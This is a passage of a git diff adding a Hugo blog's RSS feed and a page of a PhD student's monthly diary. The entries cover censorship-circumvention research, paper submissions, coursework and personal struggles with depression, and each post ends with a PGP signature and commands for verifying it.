    \ No newline at end of file diff --git a/public-clearnet/phd_journey/index.xml b/public-clearnet/phd_journey/index.xml new file mode 100644 index 0000000..ef8beb8 --- /dev/null +++ b/public-clearnet/phd_journey/index.xml @@ -0,0 +1,466 @@ +PhD_journeys on AlipourIm journeyshttps://blog.alipour.eu/phd_journey/Recent content in PhD_journeys on AlipourIm journeysHugo -- 0.146.0enTue, 23 Jun 2026 20:00:07 +0000June 2026https://blog.alipour.eu/phd_journey/june_2026/Tue, 23 Jun 2026 20:00:07 +0000https://blog.alipour.eu/phd_journey/june_2026/<p>Ok, it&rsquo;s been so so so long! I haven&rsquo;t been writing, once again, because I&rsquo;ve been too busy with fixing my life. +Let me summerize these past many months:</p> +<ul> +<li>I finished my coursework for my prep phase</li> +<li>I was added to a colleagues project and we submited it to IMC</li> +<li>I submitted a poster to TMA, and I will be present it at the end of this month (June)</li> +<li>I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&amp;P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.</li> +<li>I am a tutor at data networks, and I think I&rsquo;m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.</li> +</ul> +<hr> +<div class="signature-block" style="margin-top:1rem"> +<p><strong>Downloads:</strong> +<a href="https://blog.alipour.eu/sources/PhD_journey/june_2026.md">Markdown</a> · +<a href="https://blog.alipour.eu/sources/PhD_journey/june_2026.md.asc">Signature (.asc)</a> +</p>Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life. +Let me summerize these past many months:

    +
      +
    • I finished my coursework for my prep phase
    • +
    • I was added to a colleagues project and we submited it to IMC
    • +
    • I submitted a poster to TMA, and I will be present it at the end of this month (June)
    • +
    • I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.
    • +
    • I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW+kwn4wPw3Zysg+a7ln
    +R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle
    +m/P+jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL+IYa3T1xKdCkiiPEsXAGQKfKrw
    +BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP
    +eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd
    +MGug0h1+d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd+p/PXbH765VzTnuzeMmIlRlm
    +eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5
    +QEMPVoeGkte0CVM+C/PkK+QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2+t
    +zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT+H2TUhZplgRpDXPlayUzPkZGvEcUr
    +Mg03w3/uXCP8Q0ibQllSQioluUJ7l+oLaRZTly1tpZCCbWha11upK8ZKc03jMApM
    +fQy/wpq+VFKZsB4clVAQoabPr+Q+JWAe0OOWcdrpp8FXlKfIkPc=
    +=hIg9
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/june_2026.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/june_2026.md.asc
    +gpg --verify june_2026.md.asc june_2026.md
    +  
    +
    + + +]]>
    April '26https://blog.alipour.eu/phd_journey/april_2026/Sun, 03 May 2026 03:26:09 +0000https://blog.alipour.eu/phd_journey/april_2026/<p>I know, I know. I&rsquo;ve been lacking updates. I&rsquo;m so so sorry. I will try to summerize what I&rsquo;ve been up tp in the past few months.</p> +<p>Up until the middle of March, I&rsquo;ve been taking care of the last bits of coursework I had to do during my prep phase. And now I&rsquo;m done with that all together.</p> +<p>I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn&rsquo;t know much about. Though no mail server for me unfortunately.</p>I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months.

    +

    Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together.

    +

    I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately.

    +

    I was then approached by a colleague who’s research needed a bit of push to get to the IMC deadline, and we pushed “HARD”. We submitted the paper with so much chaos I would say. But we did it.

    +

    Now I wonder, both my research projects that I’ve been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :)

    +

    I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :)

    +

    I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSo5RA/6AuVU66S+Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y
    +fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/
    +vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A+RNCQvo33+U+JiH5YbFUbXQkbjggTcP
    +GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J+kKRif
    +vQyuWINpZZWxSV8+UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM
    +1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq
    +AhP8p+XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi+F+sQmIX1waNiM2Bc69ZBh
    +S+DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o+GZSxRI
    +hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw
    +vr9LIXqyrjKcltjpj6UEtjy3+sXYPxw2XL0bdjlzdgg4afI7gJ9+b2QjHKYYYy8H
    +DjdPpaWlQvkGOBkfM+11Cwn5Q7U5+VdY+Qil0Qc/g2Ksl77/nvQ=
    +=Wtha
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/April_2026.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/April_2026.md.asc
    +gpg --verify April_2026.md.asc April_2026.md
    +  
    +
    + + +]]>
    November '25https://blog.alipour.eu/phd_journey/november_2025/Sun, 30 Nov 2025 07:53:40 +0000https://blog.alipour.eu/phd_journey/november_2025/<h1 id="4th">4th</h1> +<p>Again, let&rsquo;s setup some goals for the month.</p> +<ul> +<li>Literature review</li> +<li>Keeping up with my coursework</li> +<li>Working on my codebase</li> +<li>Getting healthier diet and excercise-wise</li> +</ul> +<h1 id="30th">30th</h1> +<p>I did a bit of literature review, it&rsquo;s still lacking unfortunately.</p> +<p>Coursework is ok-ish. I&rsquo;ve been trying to work on assignements and understand them.</p> +<p>I rewrote the whole codebase, now we have a modularized design that should be easier to add to.</p> +<p>I&rsquo;ve been eating more and more healthy, excercise is still lacking. I&rsquo;ll get to that later.</p>4th +

    Again, let’s setup some goals for the month.

    +
      +
    • Literature review
    • +
    • Keeping up with my coursework
    • +
    • Working on my codebase
    • +
    • Getting healthier diet and excercise-wise
    • +
    +

    30th

    +

    I did a bit of literature review, it’s still lacking unfortunately.

    +

    Coursework is ok-ish. I’ve been trying to work on assignements and understand them.

    +

    I rewrote the whole codebase, now we have a modularized design that should be easier to add to.

    +

    I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
    +jSp+yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp
    +HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL+93WUlDzrbB
    +A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu+kpPgk
    ++w1DkW+BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67+nqQXzMG0MGbHu
    +j3kjROJAv65K+g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP
    +CzxTYpLlhLW+2yb9TKlg8uVi0QCg+akbaEbU2k6RC7+oFA14/1teE6MgCXwCx3Nz
    +mP7SndZoR+fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb
    +CIRPuOyWo13SrZxPEArrLOA3tGERPqp+oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64
    +P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm
    +Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8
    +1ZmGjhVLJAB9bQyxAMwOBd6EBUC+Y/sFcTSViytTtFUn+NA1MUo=
    +=F8i0
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/November_2025.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/November_2025.md.asc
    +gpg --verify November_2025.md.asc November_2025.md
    +  
    +
    + + +]]>
    October '25https://blog.alipour.eu/phd_journey/october_2025/Fri, 31 Oct 2025 08:40:43 +0000https://blog.alipour.eu/phd_journey/october_2025/<h1 id="1st">1st</h1> +<p>Ok, let&rsquo;s start the month by declareing some goals and agendas.</p> +<p>What do I want to do this month?</p> +<ul> +<li>Finish previous semester.</li> +<li>Pick the last of the course work for my prep phase.</li> +<li>Finalize the CoNEXT student workshop paper.</li> +<li>Finish my second RIL.</li> +<li>Start my 3rd and last RIL.</li> +<li>Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?</li> +<li>More literature review, persumabely all of FOCI related papers this month.</li> +<li>Work on my codebase: +<ol> +<li>Do code cleaning</li> +<li>Add comments for code</li> +<li>Start working on ICMP stuff</li> +</ol> +</li> +<li>More socializing! :-)</li> +<li>A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.</li> +<li>Enhance your routines and add exercise to it please!</li> +</ul> +<p>Alright. Now that the goals are set, let&rsquo;s start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I&rsquo;m doing work!</p>1st +

    Ok, let’s start the month by declareing some goals and agendas.

    +

    What do I want to do this month?

    +
      +
    • Finish previous semester.
    • +
    • Pick the last of the course work for my prep phase.
    • +
    • Finalize the CoNEXT student workshop paper.
    • +
    • Finish my second RIL.
    • +
    • Start my 3rd and last RIL.
    • +
    • Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?
    • +
    • More literature review, persumabely all of FOCI related papers this month.
    • +
    • Work on my codebase: +
        +
      1. Do code cleaning
      2. +
      3. Add comments for code
      4. +
      5. Start working on ICMP stuff
      6. +
      +
    • +
    • More socializing! :-)
    • +
    • A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.
    • +
    • Enhance your routines and add exercise to it please!
    • +
    +

    Alright. Now that the goals are set, let’s start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I’m doing work!

    +

    I have started to take SSRIs again. +I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. +I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. +After being all happy and things working very well, we started to cut the last piece of the puzzle. +We agreed to reduce the dosage by 0.25% of the max and wait for one month. +Things were going really well for the first two and a half month, and then it happened. +The catastrophe that put me in my worst mental and physicall position happened to me. +It’s not something I want to talk about in my blog, well at least for now, but I’ve tried to talk about it with my closest friends. +It’s so sad that things happened the way they did. +I never really fully recovered. +But… time has passed. +Almost 8 months now. +I should not have continued to cut my medication, but I did. +I damaged myself badly by being stubborn. +My brother who knew everything insisted that I should continue the usage, but I didn’t listen. +My parents didn’t know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. +I was scared of my own shadow for more than one month. +I eventually started to go out, but seeing some certain people made me uncomfortable. +This is another thing I haven’t been able to figure out. +In the end, I just endured pain, a lot of pain. +I’m glad I didn’t break, but I do think most people would’ve. +To deal with this pain, I decided to take many courses. +Cure pain with more pain. +What a fool I was. +I just tore myself up mentally and added much more unneeded stress.

    +

    Did I mention I didn’t show up in office for 6 weeks? +And that when I came back I was hit again with things I didn’t understand? +Sometimes in life shit happens, but this was a whole new level. +I don’t know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. +I’ve been trying to just lay low, stick to myself, and stay the hell out of trouble.

    +

    3rd

    +

    Today is the German unity day, and we have a long weekend ahead! +Other than that, last night was one of the most fantabolous days of my life. +I’m feeling more content and secure. +I’m feeling true happiness. +I don’t know how much the SSRI is affecting me, but I know one thing for sure. +I’m just like I used to be 9 months ago. +Just as jolly, positive, and feeling like I’m on top of the world. +Thinking about it a bit more, I do think I’m being a bit less passionate about my work. +What could be the reason? Different priorities? Nah. I really love my research and care about it. +I think it’s just that there is no pressure on me, and no deadline. +I will try to set small deadlines for myself and force myself to be more productive. +Oh, and the SSRI adverse effects are visible! Yeah… But it’s going to be alright, I’m sure of it. +I have an exam I need to prepare for on 7th, but I’ve been procrastinating. I should plan my days and stick to it. Hell yes.

    +

    5th

    +

    My student workshop paper to CoNEXT ‘25 was rejected. +It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic.

    +

    First review (wa) provided two suggestions for improving the work. +However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details.

    +

    Second review (wr) asked for more details. +In the end they suggested only focusing on one approach and it’s evaluation. +This kinda defeated the purpose of what I was trying to do, to provide “tools”.

    +

    Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion. +This is indeed something I like to work on and look at in the near future.

    +

    7th

    +

    Stressful day. +I had my last exam, the exam for Interactive systems that I did not attend the main exam for. +I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. +I don’t know how I did, but I’m glad I did the exam. +Hopefully I did alright, although I kinda do know some of the mistakes I’ve made, which is a really bad sign… +I hope I won’t have to take another extra course in the next semesters, that would just be annoying. +I really do hope so.

    +

    8th

    +

    I’m back at work, still very distracted with life. +I do need to do literature review, expand my framework, and focus on my work. +It’s a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. +I hope I can get myself together and start being productive again.

    +

    9th

    +

    I will be doing literature review today. +Yesteday I didn’t manage to get myself together. Drat. +There will be a nice social event later today too. +I can rest and socialize with my group’s amazing people! +It’ll be fun! :)

    +

    Another fun thing is that I will get my very own physical GFW box today. +It’s probably the most majestic thing that could’ve happened? +The reason for it is that a month ago there was a leak for GFW. +Lucky us I guess.

    +

    13th

    +

    Last week was again not a productive week. +I will start to plan my days from now on. +The important things are literature review, working on the code base, and looking at the box a bit. +Unfortunately the new semester also starts from today. +I’ll be having one, at most two courses.

    +

    17th

    +

    Another unproductive week. +I think this was the worst one actually. +I can’t focus on reading the papers, I get distracted easily or lose interest. +Tobias suggested USENIX’s 3-slide slide deck to enhance my focus, I’ll give it a try.

    +

    I also need to address the elephant in the room, and start working on the codebase.

    +

    I also need to look at the GFW files more, and try to find useful stuff there.

    +

    But first I need to work on HTDN’s papers, and craft the slides. That is the highest priority on my list. I’ll do it.

    +
    +

    31st

    +

    It went by. +It went by quickly. +I wasn’t able to pick myself up this month, but I won’t let it happen in the following. +I want to be truthful, so I won’t hide anything. +the only thing is I should’ve let myself grief a bit, and I did. I’m proud of it. It’s fine. +For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. +I promise.

    +

    Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it’s not a bad thing. The problem is I don’t have much to present, and that’s why this is the content. Idk if I change the structure or not, but for now it is what it is.

    +

    Ok, let’s set some goals for next month in advance, then we can see how good we did.

    +
      +
    • I want to work on ICMP stuff and make it work nicely.
    • +
    • I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this.
    • +
    • I need to keep up with my courses, including the German class.
    • +
    • I might work more on the GFW leaked data, but I think it’s not a priority for me for now. So… scrap this last one.
    • +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM
    +jSryHhAAvH+XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9
    +2UuypSgH7l7mG9Ga+1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx
    +G4jS7A4PxYZbRt8+lVuyphe+KMRiwOMfPuWoIse2hfpfhs64h+cmZVPen5zsWHD5
    +2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi+4vS6p87h0x8E2tVqCUNQEGgiriu
    +NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx+W8FqEGzu11D3VxO85+Q5/EY
    +n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7+8OYnIv1CRPLPz/hHoZxklkflyZ
    +yqNdg8o+aRHsqbDVQxIKQXH5xUEcDH+9A7bRxmCmgksML01dPnrcw4ioYzu+t0em
    +4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0
    +B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD+tKsbY+5/
    +YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE+bROitVdZ6auE5AXmef1aN
    +t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8=
    +=NvQ7
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/October_2025.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/October_2025.md.asc
    +gpg --verify October_2025.md.asc October_2025.md
    +  
    +
    + + +]]>
    September '25https://blog.alipour.eu/phd_journey/september_2025/Tue, 30 Sep 2025 09:48:21 +0000https://blog.alipour.eu/phd_journey/september_2025/<p>I started the month by finalizing my draft for Conext Student workshop. +Let&rsquo;s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I&rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.</p> +<p>I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!</p>I started the month by finalizing my draft for Conext Student workshop. +Let’s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time.

    +

    I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!

    +

    Surprise surprize, the notification did not come and it’s the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I’ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October… +Drat!

    +

    I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that’s been done so far.

    +

    My social life has been much more exciting too. +I’ve been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don’t have the courage to write about now. ;) +Buuuuuut… I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)

    +

    And with that, that’s my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP+Np/gpwm2Y2viYAv+njdwQag
    +w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk
    +IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe+QGYpGsYEhei8tbjv7y
    +3giN/X4Vz8oowHlF0XCiBm+E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl
    +MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB+0JzZG
    +1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq+nEpRj0IGsHBZUn4t
    +xxwF+HzHtVd9JWZHcfhLnh16PRT+drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm
    +9adYEohRZeM09EY16M6D+0JJDaQcHkL4TbTr/S1xbZ+K/5L+tLI9Mg0XoX0ZdG0B
    +BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu+ELzLA0cik55TfEQNuiUDEpbz
    +yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv
    +nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU+DyWles=
    +=ranU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/September_2025.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/September_2025.md.asc
    +gpg --verify September_2025.md.asc September_2025.md
    +  
    +
    + + +]]>
    Augest '25https://blog.alipour.eu/phd_journey/augest_2025/Sun, 31 Aug 2025 07:49:24 +0000https://blog.alipour.eu/phd_journey/augest_2025/<p>This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!</p>This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!

    +

    Overall not the most productive month, but one reason for it is that I have’t really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead!

    +

    My social life has been becoming better too. +I’ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I’m talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I’m really glad I was able to recover, though it was not easy at all, it did work out.

    +

    I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
    +jSqiRBAAv6TLJK+7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks
    +lyF1tiik69ZuDqToAj9buwiIG+fll/nLElWP+DVSpDrHh86tEtQFlf9inf8DYXGK
    +3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH+IMTNJuWUtIBXbSEy1K
    +SYcl4coVXJwDOPLj+huKrBQoScmUSPYow5KELzQOOLK+HG6M9vXSq3+hDUiWx4MT
    +OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1
    +VFNy+IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi
    +rEt3baTm874Jo4PSZjToL7+6VpbvlzFz57G/1WmmX1jSr++L7Cncyz2Oo6H+Bpw9
    +Ax2JFZz760sxs978Y2fno5o5rkVKEt+GgLA+WkSb0NCq/r67wEhMR5/i4oBTOHmC
    +OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb+VYlhFbju0IhhArZYqc4vuieC
    +5CQIbWuYoPIpvf0XCQHHABJF+zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT
    +eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3+AtIvQjDwKigco7f3wgY=
    +=vvS6
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/Augest_2025.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/Augest_2025.md.asc
    +gpg --verify Augest_2025.md.asc Augest_2025.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/phd_journey/june_2026/index.html b/public-clearnet/phd_journey/june_2026/index.html new file mode 100644 index 0000000..ccf5a35 --- /dev/null +++ b/public-clearnet/phd_journey/june_2026/index.html @@ -0,0 +1,48 @@ +June 2026 | AlipourIm journeys +

    June 2026

    Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life. +Let me summerize these past many months:

    • I finished my coursework for my prep phase
    • I was added to a colleagues project and we submited it to IMC
    • I submitted a poster to TMA, and I will be present it at the end of this month (June)
    • I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.
    • I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.

    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW+kwn4wPw3Zysg+a7ln
    +R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle
    +m/P+jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL+IYa3T1xKdCkiiPEsXAGQKfKrw
    +BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP
    +eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd
    +MGug0h1+d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd+p/PXbH765VzTnuzeMmIlRlm
    +eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5
    +QEMPVoeGkte0CVM+C/PkK+QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2+t
    +zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT+H2TUhZplgRpDXPlayUzPkZGvEcUr
    +Mg03w3/uXCP8Q0ibQllSQioluUJ7l+oLaRZTly1tpZCCbWha11upK8ZKc03jMApM
